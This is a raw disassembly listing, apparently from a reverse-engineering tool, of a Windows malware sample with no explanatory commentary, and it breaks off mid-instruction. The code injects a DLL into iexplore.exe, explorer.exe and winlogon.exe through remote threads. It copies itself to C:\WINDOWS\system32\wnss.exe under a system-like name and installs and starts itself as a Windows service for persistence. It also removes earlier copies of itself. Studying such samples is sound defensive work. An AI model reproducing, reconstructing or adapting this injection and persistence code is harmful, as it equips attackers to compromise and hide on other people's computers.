dword_411D7C mov ebx, eax push offset aProcessOpened_ ; "process opened.\n" call nullsub_4 pop ecx test ebx, ebx jz loc_448686 push [ebp+arg_4] push ebx call sub_44849C pop ecx pop ecx mov esi, eax test esi, esi jz short loc_44867F push esi push offset aThreadInjected ; "thread injected (%i).\n" call nullsub_4 pop ecx pop ecx push 0FFFFFFFFh push esi call dword_411D34 lea eax, [ebp+var_4] push eax push esi call dword_411D80 push [ebp+var_4] push offset aThreadComplete ; "thread complete (%i).\n" call nullsub_4 pop ecx pop ecx push esi call dword_411CF8 push ebx call dword_411CF8 cmp [ebp+var_4], 20h jnb short loc_44864F xor eax, eax jmp short loc_448688 ; --------------------------------------------------------------------------- loc_44864F: ; CODE XREF: sub_4485C6+83j push [ebp+arg_4] push offset aDllInjected ; "DLL injected!\n" call nullsub_4 pop ecx pop ecx cmp dword_411054, 0 jz short loc_44867A push dword_411054 call dword_411CF8 and dword_411054, 0 loc_44867A: ; CODE XREF: sub_4485C6+9Fj xor eax, eax inc eax jmp short loc_448688 ; --------------------------------------------------------------------------- loc_44867F: ; CODE XREF: sub_4485C6+3Fj push ebx call dword_411CF8 loc_448686: ; CODE XREF: sub_4485C6+2Aj xor eax, eax loc_448688: ; CODE XREF: sub_4485C6+87j ; sub_4485C6+B7j pop esi pop ebx mov esp, ebp pop ebp retn sub_4485C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44868E proc near ; CODE XREF: DMN1:0044894Bp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_448422 push 0 push 2 call sub_44907D mov edi, eax test eax, eax jz loc_448756 mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_449083 loc_4486CF: ; CODE XREF: sub_44868E+BDj lea eax, [ebp+var_104] push eax push ebx call dword_411D38 test eax, eax jnz short loc_44873C push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithS ; "trying <%s> with <%s>\n" call nullsub_4 add esp, 0Ch push esi push [ebp+var_120] call sub_4485C6 pop ecx pop ecx test eax, eax jz short loc_448727 lea eax, [ebp+var_104] push eax push offset aS ; "<%s>\n" call nullsub_4 pop ecx pop ecx push edi call dword_411CF8 xor eax, eax inc eax jmp short loc_448756 ; --------------------------------------------------------------------------- loc_448727: ; CODE XREF: sub_44868E+78j push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n" call nullsub_4 add esp, 0Ch loc_44873C: ; CODE XREF: sub_44868E+51j lea eax, [ebp+var_128] push eax push edi call sub_449089 test eax, eax jnz short loc_4486CF push edi call dword_411CF8 xor eax, eax loc_448756: ; CODE XREF: sub_44868E+24j ; sub_44868E+97j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44868E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44875D proc near ; CODE XREF: DMN1:00448960p var_128 = dword ptr -128h var_120 = dword ptr -120h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] push offset dword_411058 call sub_44819F pop ecx mov ecx, 100h cdq idiv ecx lea esi, [edx+1] call sub_448422 jmp short loc_4487F5 ; --------------------------------------------------------------------------- loc_448789: ; CODE XREF: sub_44875D+9Aj push 0 push 2 call sub_44907D mov edi, eax test eax, eax jz short loc_4487FB mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_449083 loc_4487AF: ; CODE XREF: sub_44875D+8Fj dec esi test esi, esi jnz short loc_4487DD push ebx push [ebp+var_120] call sub_4485C6 pop ecx pop ecx test eax, eax jz short loc_4487D2 push edi call dword_411CF8 xor eax, eax inc eax jmp short loc_4487FB ; --------------------------------------------------------------------------- loc_4487D2: ; CODE XREF: sub_44875D+67j push edi call dword_411CF8 xor eax, eax jmp short loc_4487FB ; --------------------------------------------------------------------------- loc_4487DD: ; CODE XREF: sub_44875D+55j lea eax, [ebp+var_128] push eax push edi call sub_449089 test eax, eax jnz short loc_4487AF push edi call dword_411CF8 loc_4487F5: ; CODE XREF: sub_44875D+2Aj test esi, esi jnz short loc_448789 xor eax, eax loc_4487FB: ; CODE XREF: sub_44875D+39j ; sub_44875D+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44875D endp ; =============== S U B R O U T I N E ======================================= sub_448802 proc near ; CODE XREF: DMN1:004488AAp ; DMN1:0044897Ap push ebx push dword_41296C call dword_411D50 push 0 push 0 push offset sub_405DB5 call sub_449CF1 add esp, 0Ch mov ebx, eax push 2710h mov eax, ebx push eax call dword_411D34 test eax, eax jz short loc_448857 push dword_41104C call sub_4437E3 pop ecx mov dword_41104C, 1 mov eax, ebx push eax call dword_411CF8 xor eax, eax jmp short loc_448863 ; --------------------------------------------------------------------------- loc_448857: ; CODE XREF: sub_448802+30j mov eax, ebx push eax call dword_411CF8 xor eax, eax inc eax loc_448863: ; CODE XREF: sub_448802+53j pop ebx retn sub_448802 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_445A17 test eax, eax jnz loc_448A4B call sub_445979 test eax, eax jnz loc_448A4B call sub_448422 push dword_41296C call dword_411D50 push 3E8h push dword_41296C call dword_411D34 call sub_448802 test eax, eax jz short loc_4488E3 push 3E8h call dword_411D00 push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"... call nullsub_4 pop ecx push 0FFFFFFFFh push dword_41296C call dword_411D34 push dword_41296C call dword_411D50 loc_4488E3: ; CODE XREF: DMN1:004488B1j and dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 4 mov esi, [ebp-0Ch] loc_4488F1: ; CODE XREF: DMN1:00448A1Fj push dword_41296C call dword_411D50 cmp esi, 2 ja short loc_44892D test esi, esi jz short loc_448912 cmp esi, 1 jz short loc_44891B cmp esi, 2 jz short loc_448924 jmp short loc_448931 ; --------------------------------------------------------------------------- loc_448912: ; CODE XREF: DMN1:00448904j mov dword ptr [ebp-4], offset aIexplore_exe ; "iexplore.exe" jmp short loc_448931 ; --------------------------------------------------------------------------- loc_44891B: ; CODE XREF: DMN1:00448909j mov dword ptr [ebp-4], offset aExplorer_exe ; "explorer.exe" jmp short loc_448931 ; --------------------------------------------------------------------------- loc_448924: ; CODE XREF: DMN1:0044890Ej mov dword ptr [ebp-4], offset aWinlogon_exe ; "winlogon.exe" jmp short loc_448931 ; --------------------------------------------------------------------------- loc_44892D: ; CODE XREF: DMN1:00448900j and dword ptr [ebp-4], 0 loc_448931: ; CODE XREF: DMN1:00448910j ; DMN1:00448919j ... call sub_4482DE test eax, eax jz loc_448A25 cmp esi, 2 ja short loc_448956 push offset dword_412970 push dword ptr [ebp-4] call sub_44868E pop ecx pop ecx mov ebx, eax jmp short loc_448971 ; --------------------------------------------------------------------------- loc_448956: ; CODE XREF: DMN1:00448941j mov edi, 64h loc_44895B: ; CODE XREF: DMN1:0044896Fj push offset dword_412970 call sub_44875D pop ecx mov ebx, eax test ebx, ebx jnz short loc_448971 dec edi test edi, edi jg short loc_44895B loc_448971: ; CODE XREF: DMN1:00448954j ; DMN1:0044896Aj inc esi test ebx, ebx jz loc_4489F8 call sub_448802 test eax, eax jz short loc_4489F8 push 3E8h call dword_411D00 push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n" call nullsub_4 pop ecx jmp short loc_4489A8 ; --------------------------------------------------------------------------- loc_44899B: ; CODE XREF: DMN1:004489BEj call sub_445979 test eax, eax jnz loc_448A4B loc_4489A8: ; CODE XREF: DMN1:00448999j push 2BCh push dword_41296C call dword_411D34 cmp eax, 102h jz short loc_44899B push dword_41296C call dword_411D50 mov esi, [ebp-0Ch] call sub_445979 test eax, eax jz short loc_4489ED push offset aDying ; "dying\n" call nullsub_4 pop ecx push 1 call sub_449DC1 pop ecx jmp short loc_448A4B ; --------------------------------------------------------------------------- loc_4489ED: ; CODE XREF: DMN1:004489D6j push offset aDllStopped___ ; "DLL stopped...\n" call nullsub_4 pop ecx loc_4489F8: ; CODE XREF: DMN1:00448974j ; DMN1:00448981j call sub_445A17 test eax, eax jnz short loc_448A4B cmp dword_411050, 0 jz short loc_448A1C push offset dword_412970 call sub_449E71 pop ecx and dword_411050, 0 loc_448A1C: ; CODE XREF: DMN1:00448A08j cmp esi, [ebp-8] jle loc_4488F1 loc_448A25: ; CODE XREF: DMN1:00448938j push offset aInjectionthrea ; "InjectionThread complete\n" call nullsub_4 pop ecx cmp dword_411050, 0 jz short loc_448A4B push offset dword_412970 call sub_449E71 pop ecx and dword_411050, 0 loc_448A4B: ; CODE XREF: DMN1:00448875j ; DMN1:00448882j ... call sub_449D81 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebx push 0 push 0 push 1 push 0 call dword_411D40 mov dword_41296C, eax push 0 push 0 push offset sub_406544 call sub_449CF1 add esp, 0Ch mov ebx, eax push 0FFFFFFFFh mov eax, ebx push eax call dword_411D34 mov eax, ebx push eax call dword_411CF8 push 0 push 0 push offset sub_40356A call sub_449CF1 add esp, 0Ch push eax call dword_411CF8 push 1F4h call dword_411D00 push 0 push 0 push offset sub_404967 call sub_449CF1 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448AD1 proc near ; CODE XREF: sub_449069+1p var_2004 = byte ptr -2004h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2004h call sub_449B11 push ebx push esi push edi and [ebp+var_4], 0 xor esi, esi mov off_412958, offset aWnss ; "wnss" call sub_44335D call sub_443486 call sub_4433B8 push offset dword_413970 call dword_411CC8 call sub_4442AF mov dword_412934, eax call dword_411D90 push eax call sub_44354B pop ecx cmp dword_411000, 4 jnz loc_448C0F push offset aUpdate_0 ; "*update" push dword_4128A8 call dword_411D38 test eax, eax jnz loc_448C0F call sub_445925 mov [ebp+var_8], eax call sub_446483 mov eax, dword_411018 push eax push [ebp+var_8] push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n" call nullsub_4 add esp, 0Ch push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n" call nullsub_4 pop ecx push 1770h call dword_411D00 call sub_44744C push 0FA0h call dword_411D00 call sub_44744C call sub_4459A6 and [ebp+var_C], 0 push dword_4128A4 push dword_4128B0 push dword_4128AC push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n" call nullsub_4 add esp, 10h lea eax, [ebp+var_C] push eax push 1 push 0 push dword_4128AC call sub_445A44 add esp, 10h test eax, eax jnz short loc_448C08 push 0 push 1 push 0 push dword_4128B0 call sub_445A44 add esp, 10h test eax, eax jnz short loc_448C08 push 0 push 1 push 0 push dword_4128A4 call sub_445A44 add esp, 10h test eax, eax jz short loc_448C0F loc_448C08: ; CODE XREF: sub_448AD1+105j ; sub_448AD1+11Dj xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448C0F: ; CODE XREF: sub_448AD1+58j ; sub_448AD1+71j ... call sub_44642F test eax, eax jz short loc_448C1F xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448C1F: ; CODE XREF: sub_448AD1+145j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jz loc_448D02 push offset aCopying___ ; "copying...\n" call nullsub_4 pop ecx push 80h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call dword_411D28 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D24 test eax, eax jz loc_448CF4 push 7 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call dword_411D28 lea edi, [ebp+var_2004] mov byte ptr [edi], 22h inc edi push dword_4128A4 push edi call sub_449A51 pop ecx pop ecx push dword_4128A4 call sub_449A31 pop ecx add edi, eax mov byte ptr [edi], 22h inc edi mov byte ptr [edi], 0 inc edi lea eax, [ebp+var_2004] push eax push offset aCmdlineS ; "cmdline: <%s>\n" call nullsub_4 pop ecx pop ecx call sub_446483 lea eax, [ebp+var_2004] push eax call sub_447F0A pop ecx test eax, eax jz short loc_448CD9 xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448CD9: ; CODE XREF: sub_448AD1+1FFj push offset aCreateprocessF ; "CreateProcess() failed %%-(\n" call nullsub_4 pop ecx call sub_44642F test eax, eax jz short loc_448CFF xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448CF4: ; CODE XREF: sub_448AD1+197j push offset aCopyingFailed ; "copying failed %%-(\n" call nullsub_4 pop ecx loc_448CFF: ; CODE XREF: sub_448AD1+21Aj xor esi, esi inc esi loc_448D02: ; CODE XREF: sub_448AD1+161j call sub_4445B7 call sub_447BDF push 0 push 0 call sub_4446FD pop ecx pop ecx mov dword_411004, eax push offset aInitializingWi ; "initializing winsock library...\n" call nullsub_4 pop ecx call sub_44360D cmp dword_411000, 1 jle loc_448DD3 mov eax, dword_4128A8 cmp byte ptr [eax], 2Ah jz loc_448DD3 push 80h push dword_4128A8 call dword_411D28 push dword_4128A8 call dword_411D4C cmp eax, 0FFFFFFFFh jz short loc_448DB7 push dword_4128A8 push offset aRemovingS ; "removing: <%s>\n" call nullsub_4 pop ecx pop ecx mov edi, 0Ah jmp short loc_448DB0 ; --------------------------------------------------------------------------- loc_448D84: ; CODE XREF: sub_448AD1+2E4j push 80h push dword_4128A8 call dword_411D28 push dword_4128A8 call dword_411D18 test eax, eax jnz short loc_448DB7 push 3E8h call dword_411D00 loc_448DB0: ; CODE XREF: sub_448AD1+2B1j dec edi mov eax, edi test eax, eax jnz short loc_448D84 loc_448DB7: ; CODE XREF: sub_448AD1+298j ; sub_448AD1+2D2j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_448DD3 mov [ebp+var_4], 1 loc_448DD3: ; CODE XREF: sub_448AD1+262j ; sub_448AD1+270j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_448E31 push offset asc_40E58E ; "**" push dword_4128A8 call dword_411D38 test eax, eax jnz short loc_448E31 push offset aWaiting___ ; "*** waiting...\n" call nullsub_4 pop ecx mov edi, 0Ah loc_448E0D: ; CODE XREF: sub_448AD1+353j call sub_447098 test eax, eax jz short loc_448E26 push 1F4h call dword_411D00 dec edi test edi, edi jnz short loc_448E0D loc_448E26: ; CODE XREF: sub_448AD1+343j push offset aWaitingComplet ; "*** waiting complete...\n" call nullsub_4 pop ecx loc_448E31: ; CODE XREF: sub_448AD1+315j ; sub_448AD1+32Aj call sub_447098 mov ebx, eax test ebx, ebx jnz short loc_448E8A push offset aNoRegisteredSe ; "no registered service, " call nullsub_4 pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_448E73 mov [ebp+var_4], 1 push offset aRegisterItAndR ; "register it and restart\n" call nullsub_4 pop ecx jmp loc_448F14 ; --------------------------------------------------------------------------- loc_448E73: ; CODE XREF: sub_448AD1+389j push offset aDonTRegisterIt ; "DON'T register it\n" call nullsub_4 pop ecx and [ebp+var_4], 0 xor esi, esi inc esi jmp loc_448F14 ; --------------------------------------------------------------------------- loc_448E8A: ; CODE XREF: sub_448AD1+369j push offset aRegisteredServ ; "registered service is here...\n" call nullsub_4 pop ecx call sub_4470E2 test eax, eax jz short loc_448EA5 xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448EA5: ; CODE XREF: sub_448AD1+3CBj push offset aRegisteredSe_0 ; "registered service is not running.\n" call nullsub_4 pop ecx call sub_4463E4 test eax, eax jnz short loc_448F14 push offset aInstallingServ ; "installing service, res=" call nullsub_4 pop ecx call sub_44730A mov [ebp+var_8], eax push [ebp+var_8] push offset aI ; "%i\n" call nullsub_4 pop ecx pop ecx call sub_447491 test eax, eax jnz short loc_448EE9 call sub_447567 loc_448EE9: ; CODE XREF: sub_448AD1+411j call sub_446483 push offset aStartingServic ; "starting service...\n" call nullsub_4 pop ecx call sub_447236 test eax, eax jz short loc_448F09 xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448F09: ; CODE XREF: sub_448AD1+42Fj push offset aRegisteredSe_1 ; "registered service is not running, unre"... call nullsub_4 pop ecx loc_448F14: ; CODE XREF: sub_448AD1+39Dj ; sub_448AD1+3B4j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_448F55 cmp [ebp+var_4], 0 jz short loc_448F55 test ebx, ebx jnz short loc_448F55 push offset aInstallingSe_0 ; "installing service...\n" call nullsub_4 pop ecx call sub_44730A test eax, eax jz short loc_448F55 push offset aServiceInstall ; "service installed ok...\n" call nullsub_4 pop ecx xor ebx, ebx inc ebx loc_448F55: ; CODE XREF: sub_448AD1+456j ; sub_448AD1+45Cj ... test ebx, ebx jz short loc_448F62 call sub_4463E4 test eax, eax jz short loc_448F8C loc_448F62: ; CODE XREF: sub_448AD1+486j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_448FBC push offset asc_40E58E ; "**" push dword_4128A8 call dword_411D38 test eax, eax jnz short loc_448FBC loc_448F8C: ; CODE XREF: sub_448AD1+48Fj push offset aStartingServic ; "starting service...\n" call nullsub_4 pop ecx call sub_446483 call sub_447236 test eax, eax jz short loc_448FAC xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448FAC: ; CODE XREF: sub_448AD1+4D2j call sub_44642F test eax, eax jz short loc_448FBC xor eax, eax jmp loc_449062 ; --------------------------------------------------------------------------- loc_448FBC: ; CODE XREF: sub_448AD1+4A4j ; sub_448AD1+4B9j ... call sub_447098 test eax, eax jz short loc_449013 call sub_4463E4 test eax, eax jz short loc_449013 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_449013 push offset asc_40E58E ; "**" push dword_4128A8 call dword_411D38 test eax, eax jz short loc_449013 push offset aInitializingSe ; "initializing service startup sequence.."... call nullsub_4 pop ecx call sub_447EA9 test eax, eax jz short loc_449010 xor eax, eax jmp short loc_449062 ; --------------------------------------------------------------------------- loc_449010: ; CODE XREF: sub_448AD1+539j xor esi, esi inc esi loc_449013: ; CODE XREF: sub_448AD1+4F2j ; sub_448AD1+4FBj ... push offset aNotDaemonized_ ; "not daemonized...\n" call nullsub_4 pop ecx test esi, esi jz short loc_44902E push dword_4128A4 call sub_447B54 pop ecx loc_44902E: ; CODE XREF: sub_448AD1+54Fj call sub_44642F test eax, eax jz short loc_44903B xor eax, eax jmp short loc_449062 ; --------------------------------------------------------------------------- loc_44903B: ; CODE XREF: sub_448AD1+564j push 0 push 0 push offset sub_406736 call sub_449CF1 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 push offset dword_40E000 call nullsub_4 pop ecx xor eax, eax loc_449062: ; CODE XREF: sub_448AD1+139j ; sub_448AD1+149j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_448AD1 endp ; =============== S U B R O U T I N E ======================================= sub_449069 proc near ; CODE XREF: DMN1:00449F42p push ebx call sub_448AD1 mov ebx, eax call sub_446483 mov eax, ebx pop ebx retn 10h sub_449069 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44907D proc near ; CODE XREF: sub_44868E+1Bp ; sub_44875D+30p jmp dword_411D84 sub_44907D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449083 proc near ; CODE XREF: sub_44868E+3Cp ; sub_44875D+4Dp jmp dword_411D88 sub_449083 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449089 proc near ; CODE XREF: sub_44868E+B6p ; sub_44875D+88p jmp dword_411D8C sub_449089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44908F proc near ; CODE XREF: sub_44360D+1Ap ; sub_44360D+34p jmp dword_411E88 sub_44908F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449095 proc near ; CODE XREF: DMN1:00443671p jmp dword_411E8C sub_449095 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44909B proc near ; CODE XREF: sub_44367A+Bp ; DMN1:004436FEp ... jmp dword_411E90 sub_44909B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490A1 proc near ; CODE XREF: sub_44367A+36p ; sub_44367A+53p ... jmp dword_411E94 sub_4490A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490A7 proc near ; CODE XREF: sub_4437E3+4p ; sub_444E23+152p ... jmp dword_411E98 sub_4490A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490AD proc near ; CODE XREF: sub_4437F0+56p jmp dword_411E9C sub_4490AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490B3 proc near ; CODE XREF: sub_443863+11p jmp dword_411EA0 sub_4490B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490B9 proc near ; CODE XREF: sub_443888+28p ; sub_4438D8+28p ... jmp dword_411EA4 sub_4490B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490BF proc near ; CODE XREF: sub_443888+3Ap jmp dword_411EA8 sub_4490BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490C5 proc near ; CODE XREF: sub_4438D8+3Ap ; sub_444E23+E5p ... jmp dword_411EAC sub_4490C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490CB proc near ; CODE XREF: sub_443928+8p jmp dword_411EB0 sub_4490CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490D1 proc near ; CODE XREF: sub_443942+30p ; sub_44398D+3Fp jmp dword_411EB4 sub_4490D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490D7 proc near ; CODE XREF: sub_44398D+5Fp ; DMN1:00443B65p ... jmp dword_411EB8 sub_4490D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490DD proc near ; CODE XREF: sub_4439FD+17p ; sub_443A34+18p ... jmp dword_411EBC sub_4490DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490E3 proc near ; CODE XREF: sub_443AA8+17p jmp dword_411EC0 sub_4490E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490E9 proc near ; CODE XREF: sub_443ADF+8p ; sub_4448CA+EDp ... jmp dword_411EC4 sub_4490E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490EF proc near ; CODE XREF: sub_443ADF+1Bp jmp dword_411EC8 sub_4490EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490F5 proc near ; CODE XREF: DMN1:00443B48p jmp dword_411ECC sub_4490F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4490FB proc near ; CODE XREF: DMN1:00443B97p jmp dword_411ED0 sub_4490FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449101 proc near ; CODE XREF: DMN1:00443BB8p ; sub_445434+5Cp ... jmp dword_411ED4 sub_449101 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449107 proc near ; CODE XREF: sub_444E23+142p ; sub_445434+FCp ... jmp dword_411ED8 sub_449107 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44910D proc near ; CODE XREF: sub_444E23+1DBp ; sub_445434+16Dp ... jmp dword_411EDC sub_44910D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449113 proc near ; CODE XREF: sub_444E23+1E4p ; sub_445434+176p ... jmp dword_411EE0 sub_449113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449119 proc near ; CODE XREF: sub_4453C5+23p ; sub_4453C5+4Bp jmp dword_411EE8 sub_449119 endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_449121 proc near ; CODE XREF: sub_443369+15p ; DMN1:0044342Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov eax, [esp+8+arg_0] mul [esp+8+arg_4] mov esi, eax push esi call sub_44A581 pop ecx mov ebx, eax test ebx, ebx jz short loc_449148 mov edx, ebx mov ecx, esi xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx loc_449148: ; CODE XREF: sub_449121+17j mov eax, ebx pop esi pop ebx retn sub_449121 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449151 proc near ; CODE XREF: sub_4494D1+59p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi or [ebp+var_C], 0FFFFFFFFh mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh test dword ptr [ebx], 80000000h jnz short loc_44917C call sub_44A781 mov dword ptr [eax], 16h jmp loc_4494BE ; --------------------------------------------------------------------------- loc_44917C: ; CODE XREF: sub_449151+19j mov eax, [ebx] mov edi, eax and edi, 7FFFFFFFh lea eax, [ebx-4] mov [ebp+var_4], eax lea ebx, [ebx+edi*4-4] lea esi, [ebx+4] test dword ptr [esi], 80000000h jnz loc_44922C mov eax, [esi] lea esi, [esi+eax*4-4] mov eax, dword_4111E4 cmp [esi], eax ja short loc_4491E1 mov eax, dword_4111DC cmp [esi], eax ja short loc_4491C9 mov eax, dword_4111D8 cmp [esi], eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_4491DC ; --------------------------------------------------------------------------- loc_4491C9: ; CODE XREF: sub_449151+64j mov eax, dword_4111E0 cmp [esi], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_4491DC: ; CODE XREF: sub_449151+76j mov eax, [ebp+var_10] jmp short loc_449212 ; --------------------------------------------------------------------------- loc_4491E1: ; CODE XREF: sub_449151+5Bj mov eax, dword_4111EC cmp [esi], eax ja short loc_4491FF mov eax, dword_4111E8 cmp [esi], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_449212 ; --------------------------------------------------------------------------- loc_4491FF: ; CODE XREF: sub_449151+97j mov eax, dword_4111F0 cmp [esi], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_449212: ; CODE XREF: sub_449151+8Ej ; sub_449151+ACj mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [esi] add edi, eax mov [esi], edi mov eax, edi shl eax, 2 mov edx, esi sub edx, eax mov [edx+4], edi mov ebx, esi loc_44922C: ; CODE XREF: sub_449151+48j mov eax, [ebp+var_4] test dword ptr [eax], 80000000h jnz loc_449358 mov eax, [ebp+var_4] mov edx, [eax] add edi, edx mov edx, dword_4111E4 cmp [eax], edx ja short loc_44928B mov eax, [ebp+var_4] mov edx, dword_4111DC cmp [eax], edx ja short loc_44926F mov eax, [ebp+var_4] mov edx, dword_4111D8 cmp [eax], edx setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_449286 ; --------------------------------------------------------------------------- loc_44926F: ; CODE XREF: sub_449151+106j mov eax, [ebp+var_4] mov edx, dword_4111E0 cmp [eax], edx setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_449286: ; CODE XREF: sub_449151+11Cj mov eax, [ebp+var_10] jmp short loc_4492C8 ; --------------------------------------------------------------------------- loc_44928B: ; CODE XREF: sub_449151+F9j mov eax, [ebp+var_4] mov edx, dword_4111EC cmp [eax], edx ja short loc_4492B1 mov eax, [ebp+var_4] mov edx, dword_4111E8 cmp [eax], edx setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4492C8 ; --------------------------------------------------------------------------- loc_4492B1: ; CODE XREF: sub_449151+145j mov eax, [ebp+var_4] mov edx, dword_4111F0 cmp [eax], edx setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_4492C8: ; CODE XREF: sub_449151+138j ; sub_449151+15Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax-4] mov [ebp+var_14], eax cmp eax, [ebp+var_4] jnz short loc_449313 mov eax, [ebp+var_8] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_8] cmp dword_4111F8, eax jnz short loc_44934A jmp short loc_4492FD ; --------------------------------------------------------------------------- loc_4492F7: ; CODE XREF: sub_449151+1BEj inc dword_4111F8 loc_4492FD: ; CODE XREF: sub_449151+1A4j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_449311 cmp eax, 7 jl short loc_4492F7 loc_449311: ; CODE XREF: sub_449151+1B9j jmp short loc_44934A ; --------------------------------------------------------------------------- loc_449313: ; CODE XREF: sub_449151+189j mov eax, [ebp+var_4] mov eax, [eax-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, 